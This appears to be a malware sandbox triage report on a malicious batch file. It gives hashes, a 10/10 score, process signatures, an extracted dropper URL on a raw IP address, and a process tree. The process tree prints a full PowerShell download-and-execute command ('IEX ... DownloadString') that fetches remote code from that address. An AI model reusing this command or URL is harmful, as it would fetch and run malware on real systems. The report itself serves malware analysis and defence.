22c855a56ba425079b34a778d8144851b1217a719c1020c77f3765c3edef8b6b | Triage

Resubmissions

03-04-2020 11:37

200403-b2b4jcrx9x 10

29-03-2020 01:10

200329-p9rlfpbd9s 10

Analysis

max time kernel
118s
max time network
122s
platform
windows10_x64
resource
win10v200217
submitted
29-03-2020 01:10

Sharing

Report Analysis Logs

General

Target

1c1ZUgnt.bat
Size

196B
MD5

cb7296b610a771b90d52c03f98af690c
SHA1

98bb42352fded772b23aa8bdc75ca2b494f3f9f6
SHA256

22c855a56ba425079b34a778d8144851b1217a719c1020c77f3765c3edef8b6b
SHA512

a21fa057c0919aa80fb56dd65c1360fea894bfe267727d9c22e9dfa519ac57bf74e0693f0472ffc1249b62a527296e92a2865465b314930f131909789602b510

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/1c1ZUgnt

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3836 3536 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3836 WerFault.exe
Token: SeBackupPrivilege 3836 WerFault.exe
Token: SeDebugPrivilege 3836 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1c1ZUgnt.bat"
1⤵
PID:4032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1c1ZUgnt');Invoke-SCUCDUFCWDDHX;Start-Sleep -s 10000"
2⤵
PID:3536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3536 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3836

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3836-0-0x0000000004800000-0x0000000004801000-memory.dmp

Filesize
4KB

Download
memory/3836-1-0x0000000004F30000-0x0000000004F31000-memory.dmp

Filesize
4KB

Download